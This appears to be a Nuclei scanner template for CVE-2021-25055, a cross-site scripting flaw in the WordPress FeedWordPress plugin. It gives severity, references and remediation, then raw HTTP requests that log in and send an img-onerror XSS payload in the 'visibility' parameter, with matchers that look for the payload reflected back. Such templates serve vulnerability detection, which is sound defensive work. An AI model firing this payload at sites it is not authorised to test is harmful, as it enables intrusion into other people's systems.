WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting

id: CVE-2021-25055

info:
  name: WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    The plugin is affected by a cross-site scripting vulnerability within the "visibility" parameter.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.
  remediation: |
    Update to the latest version of the FeedWordPress plugin (version 2022.0123 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25055
    - https://plugins.trac.wordpress.org/changeset/2662665
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25055
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:feedwordpress_project:feedwordpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: feedwordpress_project
    product: feedwordpress
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,authenticated,wpscan,feedwordpress_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=1 onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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